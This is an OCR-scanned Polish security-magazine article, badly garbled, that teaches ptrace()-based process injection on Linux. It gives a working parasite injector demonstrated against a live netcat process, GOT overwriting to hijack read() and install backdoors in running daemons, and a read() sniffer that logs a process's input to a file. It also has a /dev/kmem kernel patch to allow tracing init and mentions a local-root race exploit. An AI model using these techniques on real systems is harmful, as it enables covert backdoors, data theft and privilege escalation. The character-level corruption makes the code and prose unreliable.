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stopie€E trudnoSci

otychczas nie znaliSmy zbyt wie-
D le dostipnych publicznie funkcji

nadpisujNcych kod. Jest trochfi ko-
du w Apodziemiug, kt-ry nie jest publicznie
udostipniony z powodu przeterminowania
(10.2006) i nie ma tel dobrych dokumen-
t-w opisujNcych tN technikn, dlatego obja-
Snin jN. JeSli znasz jul ptrace(), ten arty-
kuj powinien Cif r-wniel zainteresowal,
bo zawsze to dobrze jest sifi nauczyl no-
wych rzeczy, nieprawdal? Czy to nie fajnie
m - ¢ wstawial furtki prawie kaldego rozmia-
ru do pamifnci dowolnego procesu, zmienia-
jNc jego wykonanie, nawet na niewykonywal-
nN cziiST stosu? Zatem czytaj czytaj dalej,
bo przedstawih w szczeg-{jach, jak to zro-
bil. zastrzegam tel, Ue ulyjem nastipujN-
cych wersji gcc:

gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)

Kompilujemy zawsze prostN metodN gcc yle.c
-0 output; nie trzeba Uadnych pag kompilacji,
toteU nie biidii przedstawial przykjad-w kom-
pilacji. To powinno byl oczywiste. Tyle sjowem
wstipu, zaczynamy.
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( Przede wszystkim muszii zastrzec, Ue ten tekst jest specyyczny

dla Linuksa i potrzebna jest pewna wiedza o programowaniu w
ANSI C oraz trochi o asemblerze. Byjo jul dawniej parfi r - Unych
technik wstrzykiwania procesu z udziajem, kilka publicznych, jak i
prywatnych eksploit-w, furtek i innych aplikacji. Przyjrzymy sifi blilej
funkcji i nauczymy sif, jak pisal wiasne furtki.

ObjaSnienie funkcji ptrace()
Funkcja ptrace() jest bardzo ulyteczna przy
debugowaniu. Ulywa sif jej do Sledzenia pro-
ces-w.

Wywojanie systemowe ptrace() dostar-
cza narziidzia poprzez kt-re proces nadrznd-
ny molUe obserwowal i kontrolowal wykona-
nie innego procesu, a takle podgINdal i zmie-
nial jego gi-wny obraz i rejestry. NajcziiSciej
jest ulywany do zaimplementowania punkt-w

p
Z artykuju dowiesz sin...

A nalely rozumiel wywojanie systemowe
ptrace();

A ulywal go w celu zmiany przepiywu stero-
wania uruchomionych program-w poprzez
wstrzykiwanie wjasnych instrukcji do pamifici
procesu, przejmujNc w ten spos - b kontrolii nad
uruchomionym procesem.

Powiniene$ wiedziel...

A nalelly byl obytym ze Srodowiskiem Linuksa,
jak i posiadal zaawansowanN wiedzii o C i pod-
stawowN o asemblerze Intel/AT&T.
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zatrzymania podczas debugowania
i Sledzenia wywojaE systemowych.

Proces nadrzfidny moUe zainicjo-
wal Sledzenie poprzez wywoianie
fork() i nakazanie procesowi potom-
nemu wykonania PTRACE _ TRACEME, &
po nim (zazwyczaj) exec. Ewentual-
nie proces nadrziidny mole zarzN-
dzil Sledzenie istniejNcego procesu
z ullyciem PTRACE _ ATTACH.

Proces potomny, gdy jest Sle-
dzony, zatrzyma sifi za kalUdym ra-
zem, gdy dostanie sygnaj, nawet
jeSli sygnaj ma ustawione ignoro-
wanie (poza siGKILL, kt-ry koEczy
sin zawsze tak samo). Proces nad-
rzndny bfdzie notyykowany w na-
stfipnym miejscu oczekiwania i mo-
Ue przegINdal i modyykowal pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzidny nastfipnie
kale procesowi potomnemu kon-
tynuowal wykonanie, opcjonalnie
ignorujNc dostarczony sygnaj (al-
bo nawet dostarczajNc mu inny sy-
gnaj).

Gdy proces nadrzidny zakoC-
czy Sledzenie, moUe przerwal pro-
ces potomny przez PTRACE _KILL,
albo nakazal kontynuacjii wykony-
wania w normalnym, nie Sledzonym
trybie, przez PTRACE _ DETACH. War-
toS1 podana jako Arequesto okre-
Sla akcjii, jaka ma byl podjita:
PTRACE _ TRACEME T Ozhacza, Ue ten
proces ma byl Sledzony przez pro-
ces nadrziidny. Kaldy sygnaj (po-
za sicKILL) dostarczony do proce-
su spowoduje zatrzymanie, a pro-
ces nadrzidny bndzie notyykowa-
ny w wait(). R-wniel kalde na-
stiipne wywojanie exec..) przez
ten proces spowoduje dostarczenie
SIGTRAP, umoUliwiajNc procesowi
nadrziidnemu przejiicie kontroli za-
nim nowy program zacznie sii wy-
konywal. Proces raczej nie powi-
nien wykonal takiego UNdania, jeSli
proces nadrziidny nie oczekuje, Ue
biidzie go Sledzil (pid, addr i data
sN ignorowane). To powyUsze UN-
danie jest ulywane tylko przez pro-
ces potomny; pozostaje sN ulywa-
ne tylko przez proces nadrziidny.
W pozostajych UNdaniach pid okre-
Sla proces potomny, na kt-rym na-
lely dziajal. Dla UNdaE innych, ni0

Listing 1. Przykjadowy ptrace()-owy wstrzykiwacz

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <asm/user.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <linux/ptrace.h>
asm("'MY_BEGIN:\n"
“call para_main\n"); /* oznaczamy poczNtek kodu pasolyta */
char *getstring(void) {
asm("'call me\n"
"me:\n"
"popl Y%eax\n"
"addl $(MY_END - me), %eax\n");
}
void para_main(void) {
/* tu sif zaczyna gg-wny kod pasolyta
* wpisz co ci sii podoba...
* to jest tylko przykgad
*/
asm(*"\n"
"movl $1, Y%eax\n"
"movl $31337, %ebx\n"
"int  $0x80\n"
"\n"):
/*
* wykonujemy exit(31337);
* tylko po to, Ueby bydo to widal na strace...
*/
}
asm("MY_END:"™);  /* tu koEczy sifi zawartoSI pasolyta */
char *GetParasite(void) /* umieSI pasolyta */
{
asm(*'call me2\n"
"me2:\n"
“popl Y%eax\n"
"subl $(me2 - MY_BEGIN), %eax\n"
"\n");
}
int PARA_SIZE(void)
{ ~
asm("movl $(MY_END-MY_BEGIN), %eax\n™); /* weF rozmiar pasoUyta */
}
int main(int argc, char *argv[])
{
int parasize;
int i, a, pid;
char inject[8000];
struct user_regs_struct reg;
printf(""\n[Przykladowy wtryskiwacz ptrace]\n");
if (argv[1l] == 0) {
printf("[usage: %s [pid] J\n\n", argv[0]);
exit(l);

pid = atoi(argv[1l]); parasize = PARA_SIZE(); /* liczymy rozmiar */

while ((parasize % 4) != 0) parasize++;/* tworzymy kod do wstrzyknincia */
{

memset(&inject, 0, sizeof(inject));

memcpy(inject, GetParasite(), PARA_SIZE());

it (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) /* podgNcz sif do procesu */

{
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Listing la. Przykjadowy ptrace()-owy wstrzykiwacz

Przetestujmy to na terminalu (A):

server:~# gcc ptrace.c -W
server:~# nc -Ip 1111 &

[1] 7314

server:~# ./a.out 7314
[Przykladowy wtryskiwacz ptrace]
+ attached to proccess id: 7314
- sending stop signal..

+ proccess stopped.

- calculating parasite injection size..
+ Parasite is at: 0x400fa276

- detach..

+ ynished!

server:~#

A teraz na terminalu (B), pokaUemy strace-m proces Netcat:

gwl:~# strace -p 7314

Process 7314 attached
- interrupt to quit
accept(3,

Wracamy na terminal A i podjNczamy sifi pod zainfekowany proces
Netcat:

server:~# nc -v localhost 1111

localhost [127.0.0.1] 1111 (?) open

[1]+ Exit 105 nc -lIp 1111

server:~#

Sprawd¥my teraz, co napisag strace na terminalu B:

accept(3, {sa_family=AF_INET,
sin_port=htons(35261),

sin_addr=inet_addr
(""127.0.0.1")}, [16]) = 4

_exit(31337) =2

Process 7314 detached
server:~#

Listing 1b. Prosty wstrzykiwacz ptrace()

printf(cant attach to pid %d: %s\n", pid, strerror(errno));
exit(l);

}

printf(*'+ attached to proccess id: %d\n", pid);

printf(*'- sending stop signal..\n");

kill(pid, SIGSTOP); /* zatrzymaj proces*/

waitpid(pid, NULL, WUNTRACED);

printf(*'+ proccess stopped. \n");

ptrace(PTRACE_GETREGS, pid, 0, &reg); /* pobierz rejestry */
printf(- calculating parasite injection size.. \n");

for (i = 0; i < parasize; i += 4) /* wrzul kod pasolyta pod %eip */
{

int dw;

memcpy(&dw, inject + i, 4);

ptrace(PTRACE_POKETEXT, pid, reg.eip + i, dw);

}

printf("'+ Parasite is at: Ox%x \n", reg.eip);

printf(*'- detach..\n");

ptrace(PTRACE_CONT, pid, 0, 0); /* wzn-w proces potomny */
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PTRACE _ KILL, proces potomny musi
byl zatrzymany.

PTRACE _ PEEKTEXT, PTRACE _
PEEKDATA T czyta sjowo spod lo-
kacji addr w pamifici procesu po-
tomnego, zwracajNc je jako rezul-
tat ptrace(). Linux nie umieszcza
segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, wific te dwa wywojania sN
aktualnie r-wnowalne (argument
data jest ignorowany).

PTRACE _PEEKUSR T czyta sfo-
wo spod przesunificia addr w prze-
strzeni USER procesu potomnego,
kt-ry trzyma rejestry i inne informa-
cje o procesie (patrz <linux/user.h>
i <sys/user.h> Sjowo jest zwracane
jako rezultat ptrace(). Zwykle prze-
sunificie musi byl wyr-wnane do
peinego sjowa, moUe sifi wific to r- -
nil na r-Unych architekturach (data
jest ignorowane).

PTRACE _ POKETEXT, PTRACE _
POKEDATA T kopiuje sjowo spod Ada-
tad do lokacji addr w pamifici proce-
su. Jak wyUej, oba te wywojania sN
r-wnowalne.

PTRACE _ POKEUSR T Kkopiuje sjowo
z data pod przesunificie addr w prze-
strzeni USER procesu potomnego. Jak
wyUej, przesuniticie musi byT wyr - w-
nane do pejnego sjowa. W celu za-
pewnienia sp-jnoSci jNdra, niekt-re
modyykacje w obszarze User sN nie-
dozwolone.

PTRACE _ GETREGS, PTRACE _
GETFPREGS T kopiuje odpowiednio re-
jestry og-lnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji data w
procesie potomnym. Zobacz <linux/
user-h> W celu uzyskania informacji
na temat formatu tych danych (addr
jest ignorowane).

PTRACE _ SETREGS, PTRACE _
SETFPREGS T kopiuje odpowiednio re-
jestry og-lnego przeznaczenia lub
zmiennoprzecinkowe z lokacji data
w procesie nadrzidnym. Podobnie,
jak w PTRACE _ POKEUSER, modyykacja
niekt-rych rejestr-w og-Inego prze-
znaczenia moUe byl niedozwolona
(addr jest ignorowany).

PTRACE _ CONT T wznawia wyko-
nywanie zatrzymanego procesu
potomnego. JeSli wartoST data jest
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Listing 1c. Prosty wstrzykiwacz ptrace()

ptrace(PTRACE_DETACH, pid, 0, 0);
printf("+ ynished!\n\n");
exit(0);

}

/* odgNcz sifi od procesu */

Listing 2. Rzut oka na tablich GOT

[root@hal /root]# objdump -R /usr/sbin/httpd |grep read
08086b5c R_386_GLOB_DAT  ap_server_post_read_conyg
08086bd0 R_386_GLOB_DAT  ap_server_pre_read_conyg
08086c0c R_386_GLOB_DAT  ap_threads_per_child

080869b0 R_386_JUMP_SLOT  fread
08086b24 R_386_JUMP_SLOT readdir
08086b30 R_386_JUMP_SLOT  read
[root@hal /root]#

<-- tu mamy naszN read()

Listing 3. Przykjad sys_write

int patched_syscall(int fd, char *data, int size)

{

// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod Oxc(%esp), a rozmiar pod 0x10(%esp)

asm("
movl $4,%eax # oryginalne wywodanie systemowe
movl $0x8(%esp) ,%ebx # fd
movl $0xc(%esp) ,%ecx # dane
movl $0x10(%esp),%edx # rozmiar
int $0x80
// po wywodaniu przerwania, wartoSI zwracana zostanie zapisana w %eax
// jeSli chcesz dodal kod za oryginalnym wywoganiem systemowym
// nalelly zapamifital gdzie indziej %eax i przywr-cil
na koCcu
// nie wstawiaj instrukcji "ret” na koniec!

)

Listing 4. Kod z infektora li, znaleziony w internecie, do przydzielania
potrzebnej paminci

void infect_code()

{
asm("
xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22  # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajt-w domySInie, wific

# jeSli potrzeba wificej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax
int $128
ret

")

# mmap()

niezerowa i nie SIGSTOP, jest inter-
pretowana jako sygnai, kt-ry nale-
Uy dostarczyl do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny Uaden sygnai. W ten spos-b,
na przykjad, proces potomny mo-
Ue kontrolowal, czy sygnaj wysia-
ny do procesu potomnego byj do-
starczony, czy nie (addr jest igno-
rowane).

PTRACE _ SYSCALL, PTRACE _ SINGLE-
STEP T Wznawia wykonywanie zatrzy-
manego procesu potomnego, jak dla
PTRACE _ CoNT, ale zarzNdza, Ue pro-
ces potomny bndzie zatrzymany od-
powiednio przy nastiipnym wejSciu
lub wyjSciu z wywojania systemo-
wego, albo wywojaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma sin tel, jak zwykle, po otrzyma-
niu sygnaju). Z punktu widzenia pro-
cesu nadrziidnego, proces potom-
ny bidzie wygINdai, jakby zostaj za-
trzymany przez otrzymanie SIGTRAP.
Zatem PTRACE _ syscaLL moUna ulyT
w ten spos-b, Ue sprawdzamy argu-
menty przesjane do wywojania sys-
temowego przy pierwszym wofaniu,
a nastipnie dokonujemy nastipne-
g0 PTRACE _ SYSCALL i sprawdzamy
wartoST zwr-conN przez wywojanie
systemowe w nastiipnym zatrzyma-
niu (addr jest ignorowane).

PTRACE _KILL T wysyja SIGKILL
procesowi potomnemu powodujNc
jego zakoEczenie (addr i data sN
ignorowane).

PTRACE _ ATTACH T dojNcza sifi do
procesu podanego jako pid, powo-
dujNc Ue ten proces staje sifi Sle-
dzonym procesem potomnym dla
bieUNcego procesu, czyli tak, jak-
by ten Apotomnyd proces wyko-
naj PTRACE _ TRACEME. BieUNcy pro-
ces staje sifi w istocie procesem
nadrziidnym tego potomnego pro-
cesu dla niekt-rych zastosowaE
(np. bndzie dostawaj notyykacje
zdarze® procesu potomnego i bii-
dzie widoczny w raporcie ps(1) ja-
ko proces nadrzindny tego proce-
su, ale getppid(2) w procesie po-
tomnym biidzie wciNU zwracal pid
oryginalnego procesu nadrzndne-
go. Proces potomny dostaje sygnayj
siGsTop, ale niekoniecznie zatrzy-
ma sifi na tym wywojaniu; nalely
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ulyT wait() w celu zaczekania, al
proces potomy sif zatrzyma (addr i
data sN ignorowane).

PTRACE _ DETACH T wznawia zatrzy-
many proces potomny, jak dla PTRACE _
conT, ale uprzednio odiNcza siii od
procesu, cofajNc efekt zmiany rodzi-
ca wywojany przez PTRACE _ ATTACH i
efekt wywojania PTRACE _ TRACEME. Mi-
mo, Ue niekoniecznie o to moUe cho-
dzil, pod Linuksem Sledzony proces
potomny mole zostal odjNczony w
ten spos-b, niezaleUnie od metody
ulytej do rozpoczricia Sledzenia (addr
jest ignorowany).

Dobrze, nie martw sii, nie musisz
wszystkiego rozumiel jul teraz. Po-
kaln Ci niekt-re zastosowania p-¥-
niej w tym artykule.

Praktyczne
zastosowania
wywojania ptrace()
Zwykle ptrace() jest stosowane do
Sledzenia proces-w w celach debu-
gowych. MoUe byl cajkiem por#icz-
ne. Programy strace i ltrace ulywa-
iN wywojaE ptrace() do Sledzenia
wykonujNcych sifi proces-w. Jest
parfi interesujNcych i ulytecznych

Rysunek 1. SciNgnificie i kompilacja wstrzykiwacza

reg.esp -= 4;

ptr = start = reg.esp - 1024;
reg.eip = (long) start + 2;

while(i < strlen(sh_code))

1 += 4;
ptr += 4;

ptrace(PTRACE_SYSCALL, pid,
ptrace(PTRACE_SYSCALL, pid,
ptrace(PTRACE_SYSCALL, pid,
ptrace(PTRACE_GETREGS, pid,
ptrace(PTRACE_SYSCALL, pid,

0, 0);
0, 0);
0, 0);
0, 0);
printf("'backing up registers...\n");

ptrace(PTRACE_DETACH, pid, 0, 0);
return reg.eax;

Listing 5. Przykjad, czego potrzeba do funkciji infect_code()

ptrace(PTRACE_GETREGS, pid, &reg, &reg);
ptrace(PTRACE_GETREGS, pid, &regb, &regb);

ptrace(PTRACE_POKETEXT, pid, reg.esp, reg.eip);

ptrace(PTRACE_SETREGS, pid, &reg, &reg);

ptrace(PTRACE_POKETEXT,pid,ptr, (int) *(int *)(sh_code+i));

printf("'trying to allocate memory \n');

&reg, &reg);
printf(*'new memory region mapped to..: Ox%.8Ix\n", reg.eax);

ptrace(PTRACE_SETREGS, pid, &regb, &regb);
printf(*'dynamical mapping complete! \n", pid);
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program-w na sieci i molUesz po-
szukal Googlem jakichS progra-
m-w w akcji.

Pasolyty sN to nie replikowane sa-
modzielnie kody, kt-re wstrzykuje
sii do program-w przez zainfeko-
wanie ELF-a lub bezpoSrednio do
pamifci procesu w czasie jego wy-
konywania, przez ptrace(). Gj-wna
r-Unica zasadza sifi tu na tym, Ue in-
fekcja ptrace() nie jest rezydentna,
podczas gdy infekcja ELF-a zarala
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasolyt wstrzyknifity przez
ptrace() rezyduje tylko w pamifci,
zatem jeSli proces, na przykjad, do-
stanie sickiLL-a, pasoUyt wyciNgnie
nogi wraz z nim. Poniewal ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty spos-b nie bii-
dzie to kod rezydentny.

ptrace() potray obserwowal i kon-
trolowal wykonanie innego procesu.
Jest r-wniel wiadny zmienial jego
rejestry. Skoro molUna zatem zmie-
nial rejestry innego procesu, jest to
nieco oczywiste, dlaczego moUe byl
ulyty do eksploit-w. Oto przykiad
starej dziury ptrace() w starym jN-
drze Linuksa.

JNdra Linuxa przed 2.2.19 mia-
iy biNd pozwalajNcy uzyskal lokal-
nie roota i wirtkszoST ludzi ulywa-
iNcych tego jNdra mogija jeszcze go
nie poprawil. W kaldym razie ta
dziura wykorzystuje sytuacji wySci-
gu w jNdrze Linuksa 2.2.x wewnNtrz
wywojania systemowego execveQ).
WstrzymujNc ~ proces  potomny
przez sleep() wewnNitrz execve(Q),
atakujNcy moUe uUyl ptrace() lub
podobnych mechanizm-w do prze-
jicia kontroli nad procesem potom-
nym. JeSli proces potomny ma se-
tuid, atakujNcy moUe ulyl procesu
potomnego do wykonania dowolne-
go kodu na podkriiconych prawach.
Znanych jest tel kilka innych pro-
blem-w bezpieczeEstwa zwiNza-
nych z ptrace() w jNdrze Linuxa
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przed 2.2.19 i po, kt-re oznaczo-
no jul jako rozwiNzane, ale wielu
administrator-w nie zajolyjo jesz-
cze jat, wific te bifidy mogN wciNU
istniel na wielu systemach. Podob-
ny problem istnieje w 2.4.x T sytu-
acja wyScigu w kernel/kmod.c, kt- -
ry tworzy wNtek jNdra w spos-b na-
ralajNcy bezpieczeEstwo.

Ten biNd pozwala ptrace()-owal
sklonowane procesy, przez co moU-
na przejNT kontrolfi nad uprzywile-
jowanymi binariami. ZajNczam kod
eksploita na tN dziurfi jako Proof
of Concept (patrz Listing 9). To byi
drobny przykiad, jak ulyl ptrace()
do poszerzania uprawnie€. A, no
c-U, mySiIn, Ue na razie majy przy-

Listing 6. Przykjad sniffera read()

#deyne LOGFILE "/tmp/read.sniffed"
asm(" INJECT_PAYLOAD BEGIN:™);

int Inject_read(int fd, char *data, int size)

{
asm("
Jjmp DO
DONT:

popl %esi # pobierz adres pliku logowania

xorl %eax, %eax

movb $3, %al # wywogdaj read()
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size
int $0x80

movl %eax, %edi # zachowaj wartoST zwracanN przez funkcjii w %edi

movl $5, %eax # wywolaj open()
movl %esi, %ebx # LOGFILE

~

movl $0x442, %ecx # O_CREAT|O_APPEND]O_WRONLY

movl $Ox1fFf, Y%edx # prawa dosthpu 0777

int $0x80

movl %eax, %ebx # ebx: fd przez nastfipne dwa wywogania
movl $4, %eax # write() zapis do logu

movl 12(%esp),%ecx # wskaF¥nik na dane

movl %edi, %edx # wartoSI zwr-cona z read - iloSI przeczytanych bajt-w
int $0x80

movl $6, Y%eax # zgadnij :P

int $0x80

movl %edi, %eax # zwr-T %edi

Jmp DONE

DO:

call DONT

.ascii \""LOGFILE™\"

.byte 0x00

DONE:

s
}
asm(""INJECT_P_END:");

Listing 7a. Drobna funkcja pobierajNca segment kodu docelowego
procesu

int get_textsegment(int pid, int *size)
{

EIf32_Ehdr ehdr;

char buf[128];

FILE *input;

int i;

snprintf(buf, sizeof(buf), "/proc/%d/exe™, pid);

if (1(input = fopen(buf, "rb™)))

return (-1);

if (fread(&ehdr, sizeof(EIf32_Ehdr), 1, input) != 1)

~

www.hakin9.org

kjad ze wstrzykiwaniem, i wystar-
czy jak na nasz pierwszy przykja-
dowy kod. Zatem, oto ten przykjad,
prosty ptrace()-owy wstrzykiwacz
(Listingi 1 i 2).

Jak widal, dziaja! Dobrze, wystar-
czy jak na tN cziSI. To jest wstrzyki-
wanie przez ptrace(). Przejd¥my te-
raz do bardziej zaawansowanych
technik zwiNzanych z tN funkcjN. W ra-
zie witpliwoSci, molesz przeczytal
ten artykuj jeszcze raz od poczNtku
i pobawil sifi z zajNczonym przykia-
dem, po prostu w celu pejnego zrozu-
mienia, 0 co w tym chodzi, co jest wy-
magane w pozostaiej cziSci artykuju,
jeSli chcesz zrozumiel ptraceQ.

Nadpisywanie

funkcji przez ptrace()

Ta technika jest nieco bardziej za-
awansowana i takoU ulyteczna ¥ nad-
pisywanie funkcji za pomocN ptrace().
Na pierwszy rzut oka wygINda tak sa-
mo, jak wstrzykiwanie przez ptrace(),
ale faktycznie jest trochn inne. Zwykle
wstrzykujemy nasz kod powjokowy do
procesu. Wstawiamy to na stos i zmie-
niamy parn rejestr - w. Jest to winc tro-
chin  ograniczone i jednorazowego
ulytku. JeSli jednak zajatamy wywo-
jania systemowe w przestrzeni jNdra,
bridzie to jak zaimportowanie dzielo-
nej funkcji, kt-ra wykonuje te same
akcje, co prawdziwe wywojanie sys-
temowe. Globalna Tablica Przesunifil
(GOT) podaje nam lokacji wywoijania
systemowego w pamifici, gdzie bn-
dzie to zamapowane po zajadowaniu.
NajproSciej moUna to odczytal przez
objdump, wystarczy wygrepowal z te-
go relokacjii wywojania systemowe-
go. Rzulmy okiem na Listing 2.

Za kaldym razem, gdy proces
chce wywojal read(), woja adres
POD 08086b30. Pod 08086b30 jest
inny adres, kt-ry wskazuje na fak-
tycznN read. JeSli wpiszesz inny adres
pod 08086b30, nastiipnym razem, jak
proces zawoja read(), skoczy zupej-
nie gdzie indziej. JeSli zrobisz:

movl $0x08086b30, %eax
movl $0x41414141, (%eax)

to nastfipnym razem, gdy zostanie za-
wojana read(), zainfekowany proces
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Listing 7b. Drobna funkcja pobierajNca segment kodu docelowego
procesu

goto end;
/*
* czytamy nagg-wek ELF + kilka kalkulacji
*/
*size = sizeof(EIf32_Ehdr) + ehdr.e_phnum * sizeof(EI1¥32_Phdr);
if (fseek(input, ehdr.e_phoff, SEEK_SET) != 0)
goto end;
for (i = 0; 1 < ehdr.e_phnum; i++) {
EIf32_Phdr phdr;
if (fread(&phdr, sizeof(EIf32_Phdr), 1, input) != 1)
goto end;
if (phdr.p_offset == 0) {
fclose(input);
return phdr.p_vaddr;
}
}
end:;
fclose(input);
return (-1);
}
/* Teraz wywoganie naszej funkcji z main(Q)
*/
if ((textseg = get_textsegment(pid, &size)) == -1) {
fprintf(stderr, "unable to locate pid %d\"s text segment address (%s)\n",
"nie odnaleziono dla pid %d\s" adresu bufora tekstowego %s \n
pid, strerror(errno));
return (-1);
} P
/* teraz musimy okreSlil rozmiar kodu wstawianego,
* nie moUe on (dla bezpieczeEstwa) przekroczyl 244 bajt-w!
*/
if (inject_parasite_size() > size) { // validate the size
fprintf(stderr, "Twoj pasozyt jest zbyt duzy. Zoptymizuj go!™);
return (-1);
}
/*
readgot jest funkcjN, kt-ra zwr-ci nam globalny adres read() z tablicy
adres-w.
objdump twoim przyjacielem, wific moUna napisal
funkcyjkii, kt-ra ulywa objdump by otrzymal GOT.
JeSli jesteS leniwy, molUesz dostarczyl GOT w argv[2] lub
zastosowal inne rozwiNzanie. Ten punkt pozostawiamy jako Iwiczenie
dla zainteresowanego ulytkownika
*/
snprintf(buf, sizeof(buf), "/proc/%d/exe™, pid);
if ((readgot = got(buf, "read")) < 0) { // grab read"s GOT addy
fprintf(stderr, "Unable to extract read()\"s GOT address\n");

return (-1);
}
/* wstrzykniecie pasoUyta do segmentu kodu
*/
if (inject(pid, textseg, inject_parasite_size(), inject_parasite_ptr()) < 0)

{
fprintf(stderr, " Wstrzykniecie nieudane! (%s)\n ", strerror(errno));
return (-1);
}
/* nadpisz globalny offset funkcji read w tablicy adres-w
*/
if (inject(pid, readgot, 4, (char *) &textseg) < 0) {
fprintf(stderr, " Nieudane wstrzykniecie rekordu GOT! (%s)\n",
strerror(errno));
return (-1);
}
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naruszy segmentacji na 0x41414141.
Uzbrojeni w tN wiedzii moUemy p-jST
krok dalej. PomySimy o molliwo-
Sciach, jakie mamy. Poniewal jeste-
Smy w stanie nadpisal dowolnN funk-
cjft w locie, moUemy wstawial r-Une
furtki do uruchomionych proces - w.

MoUemy cajkowicie kontrolowal
przepjyw wykonania np. daemona,
przejmowal wywojania systemowe,
zmienial wartoSci zwracane lub lo-
gowal dane. Najpierw potrzebujemy
jednak pewnej przestrzeni na furtkn.
Mamy ok. 240 bajt-w nieulywanej
przestrzeni paminci pod 0x8048000.
PrzestrzeC ta jest zajmowana przez
nagj-wki ELF-a, kt-re nie sN ulywa-
ne podczas wykonywania. MoUesz
po prostu zmienil te dane i wrzucil
co ci sin podoba do tej przestrzeni
i nic sin nie stanie. Zatem zamiast
niszczyl dane przez wstrzykiwanie
fadunku pod %eip, moUemy wrzucil
to wiaSnie tam, albo chocial paso-
Uyta inicjatywnego, kt-ry zaciNgnie
p - Tniej witikszego pasolyta.

Przejmowanie

wywojaE systemowych
Segment .text zawiera nagj- wki pro-
gramu ELF i inne informacje, kt--
re sN ulywane tylko do inicjaliza-
cji. Po zajadowaniu procesu, ten
nagj-wek jest jul nieulywany i mo-
Uemy bezpiecznie go nadpisal na-
szym kodem. Do pobrania poczNt-
kowej pozycji tej sekcji trzeba spraw-
dzil p _ vaddr. Sekcja ta ma ustalony
rozmiar; wykonujNc proste obliczenia
mamy nasz wz-r:

najwifkszy_moUliwy rozmiar
=sizeof(e_hdr)+sizeof(p_hdr)
*liczba_p_header-w

To majo, ale wystarczy na nasz
schludny kod asemblera. Przy pod-
mienianiu  wywojania systemowe-
go powinniSmy zachowal oryginal-
ne wywojanie. NaszN implemen-
tacji powinniSmy napisal tak, Ue-
by zachowywaija sifi jak oryginaj.
Ponilej przedstawiona jest cziST
kodu, kt-ra nadpisze wybrane wy-
wofjanie systemowe wybranego pro-
cesu. Przykjad z sys_write jest
pokazany na Listingu 3.
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Listing 8a. Gata na jNdro umoUliwiajNca ptrace() na init

#deyne _GNU_SOURCE
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int kmem_fd;
/* low level utility subroutines */
void read_kmem( off_t offset, void *buf, size_t count )
{
if( Iseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "lIseek(kmem)" );
exit( 1);
}
if( read( kmem_fd, buf, count ) != (long) count )
{
perror( "read(kmem)™ );
exit( 2 );
}
}
void write_kmem( off_t offset, void *buf, size_t count )
{
iT( Iseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "Iseek(kmem)™ );
exit( 3 );
}
if( write( kmem_fd, buf, count ) = (long) count )
{
perror( "write(kmem)" );
exit( 4 );
}

}
#deyne GCC_295 2

#deyne GCC_3XX 3

#deyne BUFSIZE 256

int main( void )

{
int kmode, gcc_ver;
int idt, int80, sct, ptrace;
char buffer[BUFSIZE], *p, c;

if( ( kmem_fd = open( "/dev/kmem™, O_RDWR ) ) < 0 )
{

dev_t kmem_dev = makedev( 1, 2 );

perror( "open(/dev/kmem)" );

if( mknod( "/tmp/kmem™, 0600 | S_IFCHR, kmem_dev ) < 0 )
{

perror( "mknod(/tmp/kmem)™ );

return( 16 );

}

if( ( kmem_fd = open( "/tmp/kmem™, O_RDWR ) ) < 0 )
{

perror( “open(/tmp/kmem)" );

return( 17 );

}

unlink( "'/tmp/kmem™ );

}

asm( "sidt %0" : "=m" ( buffer ) );

idt = *(int *)( buffer + 2 );
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Na szcziiScie nie musimy sif
martwil stosem wywojaE i zerami
w kodzie; nasze podmienione wy-
wojanie systemowe Uyje wewnNtrz
procesu i zn-w, niestety, miejsce na
nasz kod jest ograniczone. Sp-jrz-
my na informacje, jakie mamy, Ue-
by skonstruowal nasz nadpisywacz
funkciji:

A sam procesijego ID;

A funkcja, kt-ra ma byl naszN furt-
kN:

A adres funkcji z Globalnej Tablicy
Przesuniil;

A adres segmentu .text;

A nasza implementacja funkgji furt-
kowej.

Przejamywanie
ograniczenia rozmiaru
Jak powiedziajem, nagj-wki ELF
zajmujN ok. 244 bajty i to jest za
majo na duUN furtkf, zatem usijo-
wajem wymySIil spos-b na zaim-
plementowanie znacznie winkszej
furtki.

Pierwszym pomysjem jest przy-
dziaj dynamicznej pamifici:

I wstaw na stos kod, kt-ry zama-
puje nowy obszar pamiici (za po-
mocN mmap(Q);

A pobierz wska¥nik do zamapowa-
nej paminci;

A ulyj inject( do wstawienia two-
jego kodu do pamirici przydzielo-
nej dynamicznie, ale zamiast ad-
resu segmentu .text ulyj zama-
powanej paminci.

sh_code = malloc(strlen((char*)
infect_code) +4);
strepy(sh_code, (char *) infect_code);
reg.eax = infect_ptrace(pid);

teby zaalokowal pamifil bez wyko-
nywania stosu, moUna lekko zmodyy-
kowal schemat:

A nadpisz pozycji segmentu .text
przez infect _ code(). Nie zapo-
mnij dodal oryginalne read.

A odwojaj sifi do oryginalnego
read(), pO0 czym zachowaj zwr--
conN wartoSI. JeSli np. stawiasz
furtkh na Netcat, nalely sif
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Listing 8b. Gata na jNdro umoUliwiajNca ptrace() na init

